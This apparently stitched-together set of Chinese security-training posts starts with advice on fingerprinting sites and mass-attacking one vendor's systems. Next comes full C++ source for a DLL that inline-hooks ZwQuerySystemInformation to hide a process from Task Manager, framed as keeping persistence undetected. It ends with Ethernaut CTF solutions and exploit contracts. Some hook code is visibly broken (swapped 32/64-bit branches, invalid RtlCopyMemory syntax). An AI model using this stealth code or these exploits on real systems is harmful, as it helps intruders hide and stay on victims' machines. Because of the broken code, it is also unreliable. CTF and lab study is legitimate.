这里其实没有多少技术含量,主要就是运气加细心,挖掘过程其实大部分都是差不多的,首先了解网站使用的指纹,然后使用的框架是不是有一些暴露出来的漏洞,过后就是批量去做,不要盯着一个站点去看,因为可能这个站点就没漏洞或者一些信息泄露的页面,通过多个站点进行测试,说不定就发现了新大陆了呢。所以多做试探就好,多结合一些工具进行测试。总会有的系统存在差异,只要抓到一个,像这种的厂家就可以进行批量打,还是比较舒服的。
巧用进程隐藏进行权限维持
基础知识 进程(Process)是计算机中的程序关于某数据集合上的一次运行活动,是系统进行资源分配和调度的基本单位,是https://baike.baidu.com/item/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F结构的基础。在早期面向进程设计的计算机结构中,进程是程序的基本执行实体;在当代面向线程设计的计算机结构中,进程是线程的容器。程序是指令、数据及其组织形式的描述,进程是程序的实体。https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182015092816503700001 我们在计算机上的每个程序运行起来之后都可以被称作进程,进程可以在任务管理器里面看见,如下所示 那么我们在进行渗透的过程中,如果我们运行了一些本没有运行的进程,我们想要达到不被对方发现的效果,其中一个方法就是实现进程隐藏,让对方在任务管理器里面看不到这个进程,当然这里只针对的是不被小白发现,专业的人员不在这个讨论范围内。 那么实现进程隐藏可以通过HOOK api的方式实现,我们知道一般我们要获取进程快照都是使用CreateToolHelp32Snapshot这个api,而这个api在内核层最终会调用ZwQuerySystemInformation这个api来获取系统进程信息,那么我们就可以直接去hook内核的这个api,因为最终还是调用内核的这个api,从而实现进程隐藏 实现过程 那么这里需要一些基础知识,hook api的实现最终还是要归结到Inline HOOK,通过修改api的前几个字节的数据,写入一个E9(jump)到我们自己的函数中执行 简单介绍一下Inline hook,API函数都保存在操作系统提供的DLL文件中,当在程序中使用某个API函数时,在运行程序后,程序会隐式地将API所在的DLL加载入进程中。这样,程序就会像调用自己的函数一样调用API。 在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。 CreateFile()是API函数,API函数也是由人编写的代码再编译而成的,也有其对应的二进制代码。既然是代码,那么就可以被修改。通过一种“野蛮”的方法来直接修改API函数在内存中的映像,从而对API函数进行HOOK。使用的方法是,直接使用汇编指令的jmp指令将其代码执行流程改变,进而执行我们的代码,这样就使原来的函数的流程改变了。执行完我们的流程以后,可以选择性地执行原来的函数,也可以不继续执行原来的函数。 假设要对某进程的kernel32.dll的CreateFile()函数进行HOOK,首先需要在指定进程中的内存中找到CreateFile()函数的地址,然后修改CreateFile()函数的首地址的代码为jmp MyProc的指令。这样,当指定的进程调用CreateFile()函数时,就会首先跳转到我们的函数当中去执行流程,这样就完成了我们的HOOK了。 那么既然有了IAThook,我们为什么还要用Inlinehook呢,直接用IAThook不是更方便吗?看硬编码多麻烦。 我们思考一个问题,如果函数不是以LoadLibrary方式加载,那么肯定在导入表里就不会出现,那么IAThook就不能使用了,这就是Inlinehook诞生的条件。 硬编码 何为硬编码? 这里我就不生搬概念性的东西来解释了,说说我自己的理解。硬编码可以说就是用十六进制的字符组成的,他是给cpu读的语言,我们知道在计算机里面只有0和1,如果你要让他去读c语言的那些字符他是读不懂的,他只会读0和1,这就是硬编码。 硬编码的结构如下,有定长指令、变长指令等等一系列指令,还跟各种寄存器相关联起来,确实如果我们去读硬编码的话太痛苦了 这里就不过多延伸了,我们在Inline hook里面只会用到一个硬编码就是E9,对应的汇编代码就是jmp 这里我就直接通过Inline hook来实现进程隐藏,首先我们要明确思路,首先我们要获取到ZwQuerySystemInformation这个函数的地址,首先看一下这个函数的结构    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); 那么我们首先获取ntdll.dll的基址,这里可以使用GetModuleHandle,也可以使用LoadLibraryA HMODULE hDll = ::GetModuleHandle(L"ntdll.dll"); 然后使用GetProcAddress获取ZwQuerySystemInformation的函数地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 获取到函数地址之后我们就需要进行hook操作,这里注意一下,在32位中跳转的语句应该为jmp New_ZwQuerySystemInformation,对应的硬编码就是E9 xx xx xx xx,那么在32位的情况下我们要执行跳转就需要修改5个字节的硬编码,而在64位中跳转的语句应该为mov rax, 0x1234567812345678、jmp rax,对应的硬编码就是48 b8 7856341278563412、ff e0,需要修改12个字节 在32位的情况下,修改5个字节 BYTE pData[5] = { 0xe9, 0, 0, 0, 0 }; 计算偏移地址,计算公式为新地址 - 旧地址 - 5 DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5; 因为我们要覆盖前5个字节那么我们首先把前5个字节放到其他地方保存 ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr)); ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); 64位的情况下同理,只是修改字节为12个字节 BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); 然后修改权限为可读可写可执行权限,否则会报错0xC0000005 ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect); 修改硬编码,再还原属性 ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData)); ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); 到这里我们的hook函数就已经完成得差不多了,再写一个unhook函数,思路大体相同,代码如下 void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   }    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); 当我们执行完hook函数之后,需要跳转到我们自己的函数,在我们自己的函数里面,在我们自己的函数里面需要判断是否检索系统的进程信息,如果进程信息存在我们就需要将进程信息剔除 那么我们首先将钩子卸载掉,防止多次同时访问hook函数而造成数据混乱 UnHookAPI(); 然后加载ntdll.dll HMODULE hDll = ::LoadLibraryA("ntdll.dll"); 再获取ZwQuerySystemInformation的基址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation"); 这里看一下ZwQuerySystemInformation这个函数结构 NTSTATUS WINAPI ZwQuerySystemInformation(  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,  _Inout_   PVOID                    SystemInformation,  _In_      ULONG                    SystemInformationLength,  _Out_opt_ PULONG                   ReturnLength ); 主要要关注的有两个参数,第一个参数是SystemInformationClass,他是用来表示要检索的系统信息的类型,再就是返回值,当函数执行成功则返回NTSTATUS,否则返回错误代码,那么我们首先要判断消息类型是否是进程信息 status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength); if (NT_SUCCESS(status) && 5 == SystemInformationClass) 这里我们定义一个指针指向返回结果信息的缓冲区 pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; 判断如果是我们想要隐藏进程的PID则删除进程信息 if (HideProcessID == (DWORD)pCur->UniqueProcessId) 删除完成之后我们再还原hook HookAPI(); 我们要实现的功能不只是在自己的进程空间内隐藏指定进程,那么我们就可以把代码写成dll文件方便注入,完整代码如下 // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" #include <iostream> #include <Winternl.h> HMODULE g_hModule; BYTE g_Oldwin32[5] = { 0 }; BYTE g_Oldwin64[12] = { 0 }; #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ); void HookAPI(); void UnHookAPI(); void HookAPI() {        //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d\n\n", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 32位则修改前5字节,64位则修改前12字节 #ifdef _WIN64    // jmp New_ZwQuerySystemInformation    // E9 xx xx xx xx    BYTE pData[5] = { 0xe9, 0, 0, 0, 0 };    // 计算偏移地址 , 偏移地址 = 新地址 - 旧地址 - 5    DWORD dwOffsetAddr = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;   ::RtlCopyMemory = (&pData[1], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory = (g_Oldwin32, ZwQuerySystemInformation, sizeof(pData)); #else    // mov rax, 0x1234567812345678    // jmp rax    // 48 b8 7856341278563412    // ff e0    BYTE pData[12] = { 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0 };    ULONGLONG dwOffsetAddr = (ULONGLONG)New_ZwQuerySystemInformation;   ::RtlCopyMemory(&pData[2], &dwOffsetAddr, sizeof(dwOffsetAddr));   ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData)); #endif    DWORD dwOldProtect = 0;    //修改为可读可写可执行权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);   ::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));    //还原权限   ::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect); } void UnHookAPI() {    //获取ntdll.dll基址    HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");    if (hDll == NULL)   {        printf("[!] GetModuleHandle false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] GetModuleHandle successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 修改为可读可写可执行权限    DWORD dwOldProtect = 0;   ::VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    // 32位下还原5字节,64位下还原12字节 #ifdef _WIN64   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32)); #else   ::RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin32)); #endif    // 还原权限   ::VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect); } NTSTATUS New_ZwQuerySystemInformation(    SYSTEM_INFORMATION_CLASS SystemInformationClass,    PVOID SystemInformation,    ULONG SystemInformationLength,    PULONG ReturnLength ) {    NTSTATUS status = 0;    PSYSTEM_PROCESS_INFORMATION pCur = NULL;    PSYSTEM_PROCESS_INFORMATION pPrev = NULL;    // 隐藏进程的PID    DWORD HideProcessID = 13972;    // 卸载钩子    UnHookAPI();    HMODULE hDll = ::LoadLibraryA("ntdll.dll");    if (hDll == NULL)   {        printf("[!] LoadLibraryA failed,error is : %d\n\n", GetLastError());        return status;   }    else   {        printf("[*] LoadLibraryA successfully!\n\n");   } #ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength       ); #endif    // 获取 ZwQuerySystemInformation 函数地址    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");    if (NULL == ZwQuerySystemInformation)   {        printf("[!] ZwQuerySystemInformation false,error is: %d", GetLastError());        return status;   }    else   {        printf("[*] ZwQuerySystemInformation successfully!\n\n");   }    // 调用原函数 ZwQuerySystemInformation    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,SystemInformationLength, ReturnLength);    if (NT_SUCCESS(status) && 5 == SystemInformationClass)   {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while (TRUE)       {            // 若为隐藏的进程PID则删除进程信息            if (HideProcessID == (DWORD)pCur->UniqueProcessId)           {                if (pCur->NextEntryOffset == 0)               {                    pPrev->NextEntryOffset = 0;               }                else               {                    pPrev->NextEntryOffset = pCur->NextEntryOffset + pPrev->NextEntryOffset;               }           }            else           {                pPrev = pCur;           }            if (pCur->NextEntryOffset == 0)           {                break;           }            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);       }   }    HookAPI();    return status; } BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ) {    switch (ul_reason_for_call)   {    case DLL_PROCESS_ATTACH:        HookAPI();        g_hModule = hModule;        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        UnHookAPI();        break;   }    return TRUE; } 实现效果 这里可以通过全局钩子注入或者远程线程注入把dll注入到其他进程里面,那么如果我们想要在任务管理器里面看不到某个进程,那么就需要将dll注入到任务管理器里面 我这里选择隐藏的是QQ音乐,这里运行下程序将dll注入 再看下效果,在任务管理器里面已经看不到QQ音乐这个进程了,进程隐藏成功
以太坊智能合约安全入门
Ethernaut记录 https://www.yijinglab.com/cour.do?w=1&c=CCIDf21b-1a56-42df-b444-57029ae03abcFallback 题目描述 Look carefully at the contract's code below. You will beat this level if you claim ownership of the contract you reduce its balance to 0 Things that might help How to send ether when interacting with an ABI How to send ether outside of the ABI Converting to and from wei/ether units (see help() command) Fallback methods 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallback {  using SafeMath for uint256;  mapping(address => uint) public contributions;  address payable public owner;  constructor() public {    owner = msg.sender;    contributions[msg.sender] = 1000 * (1 ether); }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function contribute() public payable {    require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;   } }  function getContribution() public view returns (uint) {    return contributions[msg.sender]; }  function withdraw() public onlyOwner {    owner.transfer(address(this).balance); }  receive() external payable {    require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender; } } 分析 题目的目标是成为这个合约的owner,并且将合约的balance清零。 在源代码中可以看到,成为合约的owner就代表着需要将合约中的owner赋值为我们的address,有三种方式: 1.调用contribute函数 2.调用receive函数 这里需要说明一下,constructor函数是合约的构造函数,是合约在初始化的时候建立的,而sender这个全局变量代表的是当前和合约交互的用户。所以说,contructor函数的sender不可能是除了创建者之外后续用户。 如要调用contribute函数,则需要向合约转账,转入的eth大于1000才可以成为onwer,而且每次只能转小于0.001eth,显然不可行。 那么如果调用receive函数,只需要转账大于0即可成为owner。那么这个receive函数怎么调用呢? 这个函数明显长得就和正常的函数不一样,没有function修饰。 这里的话首先解释一下什么是fallback https://me.tryblockchain.org/blockchain-solidity-fallback.html也就是说,直接向合约转账,使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用fallback函数。或者当调用函数找不到时就会调用fallback函数。 那么这个fallback和receive又有什么关系呢?在0.6以后的版本,fallback函数的写法就不是这么写了而是: fallback() external { } receive() payable external {   currentBalance = currentBalance + msg.value; } fallback 和 receive 不是普通函数,而是新的函数类型,有特别的含义,所以在它们前面加 function 这个关键字。加上 function 之后,它们就变成了一般的函数,只能按一般函数来去调用。 每个合约最多有一个不带任何参数不带 function 关键字的 fallback 和 receive 函数。 receive 函数类型必须是 payable 的,并且里面的语句只有在通过外部地址往合约里转账的时候执行。fallback 函数类型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合约发送非转账交易,如果交易里带有转账信息,交易会被 revert;如果是 payable 的,自然也就可以接受转账了。 尽管 fallback 可以是 payable 的,但并不建议这么做,声明为 payable 之后,其所消耗的 gas 最大量就会被限定在 2300。 也就是说,只要向合约转账,就会执行receive函数。具体来说,就是调用contract.sendTransaction({value : 1})。 所以说,要成为owner要经过以下两个步骤: 1.调用contribute使contribution大于0 2.向合约转账,调用receive,成为owner。 成为owner后,还需要将合约的balance清零,这里需要调用withdraw函数,也就是执行这一句: owner.transfer(address(this).balance); this指针指向的是合约本身,这句话的意思就是合约向owner的地址转帐合约所有的balance。 所以,最终的payload就是: contract.contribute({value: 1}) contract.sendTransaction({value: 1}) contract.withdraw() Fallout 题目描述 Level completed! Difficulty 2/10 Claim ownership of the contract below to complete this level. Things that might help Solidity Remix IDE 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Fallout {    using SafeMath for uint256;  mapping (address => uint) allocations;  address payable public owner;  function Fal1out() public payable {    owner = msg.sender;    allocations[owner] = msg.value; }  modifier onlyOwner {        require(            msg.sender == owner,            "caller is not the owner"       );        _;   }  function allocate() public payable {    allocations[msg.sender] = allocations[msg.sender].add(msg.value); }  function sendAllocation(address payable allocator) public {    require(allocations[allocator] > 0);    allocator.transfer(allocations[allocator]); }  function collectAllocations() public onlyOwner {    msg.sender.transfer(address(this).balance); }  function allocatorBalance(address allocator) public view returns (uint) {    return allocations[allocator]; } } 分析 提示是用ide看,问题就是他这个构造函数其实不是构造函数,Fal1out,直接调用即可。 过关后,会出现这样一段话: That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right? Well... Not quite. The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract: contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ... This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in smartcontractland. coin flip 题目 需要连续十次猜中硬币翻转结果,猜对了就可以过关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip {  using SafeMath for uint256;  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number.sub(1)));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue.div(FACTOR);    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } 分析 可以看到,每一次猜的值都要与blockhash/factor进行一个比对。这里,blocknumber指的是当前交易的区块编号,并不是合约所处的区块编号。由于一个块内交易数量很多,所以我们就可以通过布置一个合约,使其交易行为与验证的交易打包在一个块中,这样blockhash的值就可以提前算出来,重复十次即可过关 exp: // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract CoinFlip {  uint256 public consecutiveWins;  uint256 lastHash;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor() public {    consecutiveWins = 0; }  function flip(bool _guess) public returns (bool) {    uint256 blockValue = uint256(blockhash(block.number-1));    if (lastHash == blockValue) {      revert();   }    lastHash = blockValue;    uint256 coinFlip = blockValue/FACTOR;    bool side = coinFlip == 1 ? true : false;    if (side == _guess) {      consecutiveWins++;      return true;   } else {      consecutiveWins = 0;      return false;   } } } contract exploit {  CoinFlip expFlip;  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;  constructor (address aimAddr) public {    expFlip = CoinFlip(aimAddr); }  function hack() public {    uint256 blockValue = uint256(blockhash(block.number-1));    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);    bool guess = coinFlip == 1 ? true : false;    expFlip.flip(guess); } } telephone 题目 需要成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } 分析 这里肯定是调用changeOwner,知识点就在于tx.origin和msg.sender之间的区别。 tx.origin (address):交易发送方(完整的调用链) msg.sender (address):消息的发送方(当前调用) 可以认为,origin为源ip地址,sender为上一跳地址。 所以思路就是部署一个合约A,我们调用这个合约A,而这个合约A调用题目合约,即可完成利用。 Exp: pragma solidity ^0.6.0; contract Telephone {  address public owner;  constructor() public {    owner = msg.sender; }  function changeOwner(address _owner) public {    if (tx.origin != msg.sender) {      owner = _owner;   } } } contract exploit {    Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);    function hack() public{        target.changeOwner(msg.sender);   } } token 题目 The goal of this level is for you to hack the basic token contract below. You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens. 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token {  mapping(address => uint) balances;  uint public totalSupply;  constructor(uint _initialSupply) public {    balances[msg.sender] = totalSupply = _initialSupply; }  function transfer(address _to, uint _value) public returns (bool) {    require(balances[msg.sender] - _value >= 0);    balances[msg.sender] -= _value;    balances[_to] += _value;    return true; }  function balanceOf(address _owner) public view returns (uint balance) {    return balances[_owner]; } } 分析 uint整数溢出,不会小于0。 exp: pragma solidity ^0.6.0; interface IToken {    function transfer(address _to, uint256 _value) external returns (bool); } contract Token {    address levelInstance;    constructor(address _levelInstance) public {        levelInstance = _levelInstance;   }    function claim() public {        IToken(levelInstance).transfer(msg.sender, 999999999999999);   } } delegation 题目 成为合约的owner 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate {  address public owner;  constructor(address _owner) public {    owner = _owner; }  function pwn() public {    owner = msg.sender; } } contract Delegation {  address public owner;  Delegate delegate;  constructor(address _delegateAddress) public {    delegate = Delegate(_delegateAddress);    owner = msg.sender; }  fallback() external {   (bool result,) = address(delegate).delegatecall(msg.data);    if (result) {      this;   } } } 分析 有两个合约,第一个delegate里面有个pwn函数,可以直接获得owner。第二个合约delegation实例化了delegate,并且定义了fallback函数,里面通过delegeatecall调用delegate合约中的函数。 我们经常会使用call函数与合约进行交互,对合约发送数据,当然,call是一个较底层的接口,我们经常会把它封装在其他函数里使用,不过性质是差不多的,这里用到的delegatecall跟call主要的不同在于通过delegatecall调用的目标地址的代码要在当前合约的环境中执行,也就是说它的函数执行在被调用合约部分其实只用到了它的代码,所以这个函数主要是方便我们使用存在其他地方的函数,也是模块化代码的一种方法,然而这也很容易遭到破坏。用于调用其他合约的call类的函数,其中的区别如下:1、call 的外部调用上下文是外部合约2、delegatecall 的外部调用上下是调用合约上下文 也就是说,我们在delegation里通过delegatecall调用delegate中的pwn函数,pwn函数运行的上下文其实是delegation的环境。也就是说,此时执行pwn的话,owner其实是delegation的owner而不是delegate的owner。 抽象点理解,call就是正常的call,而delegatecall可以理解为inline函数调用。 在这里我们要做的就是使用delegatecall调用delegate合约的pwn函数,这里就涉及到使用call指定调用函数的操作,当你给call传入的第一个参数是四个字节时,那么合约就会默认这四个字节就是你要调用的函数,它会把这四个字节当作函数的id来寻找调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个bytes,函数前面就是带有括号括起来的参数类型列表的函数名称。 contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)}); force 题目 令合约的余额大于0即可通关。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/*                   MEOW ?         /\_/\   /    ____/ o o \  /~____ =ø= / (______)__m_m) */} 分析 没有任何代码的合约怎么接受eth?这里的话以太坊里我们是可以强制给一个合约发送eth的,不管它要不要它都得收下,这是通过selfdestruct函数来实现的,如它的名字所显示的,这是一个自毁函数,当你调用它的时候,它会使该合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数所指定的地址,比较特殊的是这笔资金的发送将无视合约的fallback函数,因为我们之前也提到了当合约直接收到一笔不知如何处理的eth时会触发fallback函数,然而selfdestruct的发送将无视这一点。 所以思路就是搞一个合约出来,然后自毁,强制给题目合约eth。 contract Force {    address payable levelInstance;    constructor (address payable _levelInstance) public {        levelInstance = _levelInstance;   }    function give() public payable {        selfdestruct(levelInstance);   } } vault 题目 使得locked == false 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Vault {  bool public locked;  bytes32 private password;  constructor(bytes32 _password) public {    locked = true;    password = _password; }  function unlock(bytes32 _password) public {    if (password == _password) {      locked = false;   } } } 分析 主要就是猜密码,看起来密码被private保护,不能被访问到,但是其实区块链上所有东西都是透明的,只要我们知道它存储的地方,就能访问到查询到。 使用web3的storageat函数即可查询到特定位置的数据信息。 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))}); king 题目 合同代表一个非常简单的游戏:谁给它发送了比当前奖金还大的数量的以太,就成为新的国王。在这样的事件中,被推翻的国王获得了新的奖金,但是如果你提交的话那么合约就会回退,让level重新成为国王,而我们的目标就是阻止这一情况的发生。 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King {  address payable king;  uint public prize;  address payable public owner;  constructor() public payable {    owner = msg.sender;      king = msg.sender;    prize = msg.value; }  receive() external payable {    require(msg.value >= prize || msg.sender == owner);    king.transfer(msg.value);    king = msg.sender;    prize = msg.value; }  function _king() public view returns (address payable) {    return king; } } 分析 主要看receive函数,逻辑是先转账然后再更新king和prize,所以说,如果我们使得程序断在接受上,即可使得king不被更新。 所以代码是这样: pragma solidity ^0.6.0; contract attack{    constructor(address _addr) public payable{        _addr.call{value : msg.value}("");   }    receive() external payable{        revert();   } } 接受函数逻辑就是直接revert,这样攻击合约只要发生了转账,就会中止执行,这样transfer就不会成功,king也就不会更新。 reentrancy 题目 盗取合约中所有余额 代码 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Reentrance {    using SafeMath for uint256;  mapping(address => uint) public balances;  function donate(address _to) public payable {    balances[_to] = balances[_to].add(msg.value); }  function balanceOf(address _who) public view returns (uint balance) {    return balances[_who]; }  function withdraw(uint _amount) public {    if(balances[msg.sender] >= _amount) {     (bool result,) = msg.sender.call{value:_amount}("");      if(result) {        _amount;     }      balances[msg.sender] -= _amount;   } }  receive() external payable {} } 分析 